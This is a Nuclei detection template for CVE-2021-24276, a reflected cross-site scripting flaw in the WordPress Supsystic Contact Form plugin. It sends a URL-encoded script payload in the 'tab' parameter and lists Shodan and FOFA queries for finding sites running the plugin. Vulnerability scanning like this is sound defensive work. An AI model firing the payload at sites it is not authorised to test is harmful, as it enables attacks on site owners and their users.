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WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting

ID: CVE-2021-24276

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wordpress,wp-plugin,wpscan,packetstorm,supsystic

WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.

id: CVE-2021-24276
info:
name: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c
- http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-24276
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24276
cwe-id: CWE-79
epss-score: 0.00231
epss-percentile: 0.61154
cpe: cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: supsystic
product: contact_form
framework: wordpress
shodan-query: http.html:/wp-content/plugins/contact-form-plugin/
fofa-query: body=/wp-content/plugins/contact-form-plugin/
publicwww-query: /wp-content/plugins/contact-form-plugin/
tags: cve2021,cve,wordpress,wp-plugin,wpscan,packetstorm,supsystic
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502200c02fa9b752d07706481afaf4d0ef8e5c0a7b2ebc834bb9a911a245b3349021902210090a0c1e75a9d32d34d0fe3d583b8af02c6d2317b1a1e4fe525a98cfc7865433b:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24276.yaml"

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